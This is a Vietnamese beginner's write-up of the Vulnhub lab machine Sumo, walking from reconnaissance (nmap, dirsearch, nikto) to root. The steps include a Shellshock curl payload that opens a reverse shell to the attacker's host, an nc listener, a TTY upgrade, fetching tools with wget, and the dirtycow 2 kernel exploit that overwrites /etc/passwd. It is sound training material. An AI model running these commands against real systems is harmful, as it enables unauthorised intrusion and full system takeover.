[Write up] Vulnhub: Sumo

Giới thiệu

Sumo là 1 machine về leo quyền trên Linux được thiết kế bởi SunCSR team, thông tin về machine các bạn có thể xem tại đây.

Theo cảm nhận cá nhân mình thì Sumo là bài cơ bản, thích hợp với người mới tiếp cận đến dạng bài leo quyền trên Linux. Sumo cũng là bài đầu tiên mình làm khi tìm hiểu các kiến thức liên quan đến leo quyền nên bài write up này sẽ được trình bày theo từng bước một, từ bước cơ bản nhất cho đến khi lên root.

Tất nhiên do mới thử sức với mảng leo quyền này nên kiến thức của mình cũng chưa đủ để giải thích cặn kẽ được, vì thế mình rất mong nhận được sự góp ý của mọi người. Giờ thì chúng ta sẽ bắt đầu lên root machine Sumo.

Cài đặt machine

Mỗi machine trên Vulnhub là một máy ảo Linux/Windows được export dưới định dạng OVF. Thông tin về phiên bản của trình giả lập cần có để chạy machine đều được ghi đầy đủ trên trang của mỗi bài.

Để chạy bài Sumo thì chúng ta nên cài đặt VMware Workstation Pro 15, machine đã được kiểm tra trên phiên bản này rồi nên chúng ta có thể cài đặt mà không lo bị lỗi.

Việc cài đặt rất đơn giản: chỉ cần tải file Sumo.zip về, giải nén ra, sau đó trong VMware chọn file > open > chọn file ovf/ova > chọn "i copied it" là được. Sau khi cài đặt VM rồi, chúng ta cần kiểm tra lại thông tin VM xem Network Adapter đã ở chế độ NAT chưa. Nếu đang ở chế độ Bridge thì chúng ta cần chuyển sang chế độ NAT, chỉ cần chọn Edit virtual machine settings > tại mục Network Adapter chọn NAT > lưu.

Giờ chỉ cần Power on máy ảo này lên là được, let's start hacking!

Lên root

Tìm kiếm thông tin

Coi như máy ảo là 1 con server đang chạy, và chúng ta đang đứng ở ngoài con server đó. Chúng ta chưa biết phải làm thế nào cả. Vì thế việc đầu tiên là tìm kiếm các thông tin về server. Một số thông tin cần tìm hiểu có thể kể đến là:

  • IP của server là gì?
  • Server có những cổng nào đang mở?
  • Server đang chạy những dịch vụ gì?
  • Phiên bản hệ điều hành của server là gì?
  • ...

nmap scan

Những thông tin này có thể tìm kiếm được bằng tool nmap cài sẵn trong Kali.
Đầu tiên hãy kiểm tra xem ip của máy ảo Kali là gì bằng lệnh: ip a

IP của máy ảo Kali là 192.168.111.155
Bởi máy ảo Kali và Sumo đều cài trên VMware nên chúng sẽ có chung dải IP 192.168.111.0/24
Chúng ta sẽ dùng nmap quét toàn bộ ip trong dải này để tìm xem ip của máy ảo Sumo là gì: sudo nmap 192.168.111.0/24

Giờ chúng ta đã có ip của VM Sumo là 192.168.111.158
Bước tiếp theo là kiểm tra kỹ hơn về các cổng đang mở, các dịch vụ đang chạy trên những cổng này, phiên bản hệ điều hành,...
Tiếp tục scan bằng nmap: sudo nmap -sS -sV -O 192.168.111.158:

  • -sS: scan bằng giao tức TCP SYN
  • -sV: scan tìm phiên bản của các dịch vụ chạy trên cổng
  • -O: scan phiên bản OS

Kết quả scan cho biết VM chạy Linux phiên bản kernel 2.6.23, mở hai cổng 22 - SSH và 80 - HTTP.
Giao diện web:

Dirsearch

Không có thông tin gì nhiều tại trang web này, vì thế chúng ta nên thử scan các thư mục của web để xem có đường dẫn nào, file nào chứa thông tin có ích hay không. Để scan các đường đẫn web thì có nhiều tool, một số tool phổ biến có thể kể đến như: dirsearch, gobuster, drib, dirbuster,...

Mình thường sử dụng tool dirsearch với directory wordlist có sẵn trong Kali: python3 dirsearch.py -r -u http://192.168.111.158/ -w /usr/share/dirb/wordlists/common.txt -e *

Dirsearch scan ra được 1 đường dẫn ẩn có thể truy cập được tại /cgi-bin/test, tuy nhiên vẫn không biết phải làm gì :v

nikto scan

Lúc này lại phải để tool vào cuộc :v Chúng ta scan tiếp web này bằng tool Nikto có sẵn trong Kali: nikto -h http://192.168.111.158/

Kết quả cho thấy web có khả năng khai thác được bằng lỗ hổng shellshock. Nikto cũng chỉ ra CVE cho chúng ta.

Kết nối reverse shell

Sử dụng lỗ hổng shellshock chúng ta có thể thực hiện RCE để kết nối reverse shell. Thông tin về reverse shell và cách hoạt động các bạn có thể đọc tại bài viết về Reverse Shell của bạn Hiếu. Hiểu cơ bản thì reverse shell tức là thông qua việc khai thác các lỗ hổng của server như RCE, chúng ta sẽ yêu cầu server của victim thực hiện kết nối với server của chúng ta. Qua kết nối đó server của victim sẽ thực hiện các lệnh shell do chúng ta gõ.

Chỉ cần tìm kiếm với từ khóa đại loại như "shellshock exploit" chúng ta có ngay payload exploit (1 trong số các link: https://medium.com/@nikhilh20/exploit-bash-shellshock-part-1-ad1636acaf9e): curl -A "() { :; }; /bin/bash_shellshock -i > /dev/tcp/192.168.111.155/1234 0<&1 2>&1" http://192.168.111.158/cgi-bin/test

Trước khi chạy command này chúng ta cần mở sẵn cổng 1234 để đợi reverse shell từ server: nc -nvlp 1234.
Ngay khi chạy command chúng ta sẽ có reverse shell.

Nâng cấp lên TTY shell

Reverse Shell nhận được khá cùi bắp, rất nhiều lệnh không thể thực hiện được. Vì thế ngay khi có reverse shell mình sẽ tìm cách nâng cấp lên TTY shell (xịn hơn :3). Có nhiều cách để nâng cấp Reverse Shell lên TTY shell, mình kiểm tra qua thấy trên VM có cài python nên sử dụng luôn command python -c 'import pty; pty.spawn("/bin/sh")'

Giờ chúng ta đã có TTY shell. Tìm cách lên root thôi!

Chạy linux-exploit-suggester

linux-exploit-suggester.sh là một script hỗ trợ chúng ta tìm kiếm các lỗ hổng có khả năng khai thác được trên hệ thống. Script có rồi, nhưng để chạy được script này trên VM cũng không phải "mì ăn liền" đâu =))

Đầu tiên chúng ta phải tìm một nơi có quyền ghi, bởi hiện tại chúng ta đang là user www-data, quyền rất hữu hạn. Sau đó cần tạo 1 http server tại Kali để truyền file sang VM Sumo.

Để tìm các thư mục mà www-data có quyền ghi, chúng ta chạy command: find / -type d -writable 2>/dev/null:

  • /: chỉ ra chúng ta sẽ tìm kiếm bắt đầu từ root directory
  • -type d: chỉ ra chúng ta cần tìm các thư mục
  • -writable: chỉ ra chúng ta cần tìm thư mục mà có quyền ghi
  • 2>/dev/null: ẩn mấy cái thông báo không mong muốn thấy, VD như "permission denied" chẳng hạn.

Trong các thư mục tìm được, mình chọn /tmp.

Giờ tại Kali chúng ta sẽ cần tạo 1 http server để truyền file sang VM Sumo. Việc này có thể thực hiện đơn giản với python3 bằng command: python3 -m http.server 4444. Bằng command này, chúng ta tạo ra một http server tại cổng 4444. Và để cho tiện truyền file thì mình sẽ chạy command này tại ~/Downloads/linux-exploit-suggester/ luôn, như vậy khi tải file về tại VM Sumo mình sẽ không phải gõ đường dẫn quá dài.

Giờ tại VM Sumo, chúng ta di chuyển đến /tmp và chạy command: wget 192.168.111.155:4444/linux-exploit-suggester.sh để tải script về. Sau đó chỉ việc cấp quyền chạy script bằng chmod

Kết quả chạy script như sau:

Thứ tự các lỗ hổng sắp xếp từ trên xuống theo khả năng khai thác thành công giảm dần. Việc chúng ta làm là thử từng script một cho đến khi exploit thành công.

Exploit Kernel bằng dirtycow 2

Mã khai thác mình sử dụng là dirtycow 2, mã khai thác này nhắm vào các phiên bản Linux kernel thấp. Cách khai thác lỗ hổng kernel khá ít thấy, vì thường các server đều sẽ chạy các phiên bản OS mới, rất ít lỗ hổng kernel. Vì thế khi làm các machine, các lab về leo quyền nếu gặp OS phiên bản thấp thì Kernel exploit là 1 trong số các hướng nên thử đầu tiên.

Để chạy mã dirtycow 2, đầu tiên chúng ta cần tải mã về Kali, link download đã có ngay trong kết quả chạy linux-exploit-suggester.

Mã khai thác là một file code C, việc tiếp theo là truyền file code này sang VM Sumo để compile, cách truyền file làm tương tự như khi truyền linux-exploit-suggester.

Cách compile và chạy mã khai thác được ghi ngay trong mã khai thác:

Khi compile tại VM Sumo, nếu gặp lỗi gcc: error trying to exec 'cc1': execvp: No such file or directory thì chạy command sau để sửa: PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/x86_64-linux-gnu/4.8/;export PATH

Lên root

Sau khi compile thành công, chúng ta cấp quyền thực thi cho mã khai thác và chạy. Mã dirtycow 2 sẽ ghi lại thông tin về user root trong /etc/passwd bằng user mới. Mặc định mã dirtycow 2 sẽ tạo user với username là firefart, password do chúng ta nhập vào khi chạy mã.

Giờ chỉ việc chuyển qua user root (uid=0) để đọc flag /root/root.txt

ROOTED!!!

All Rights Reserved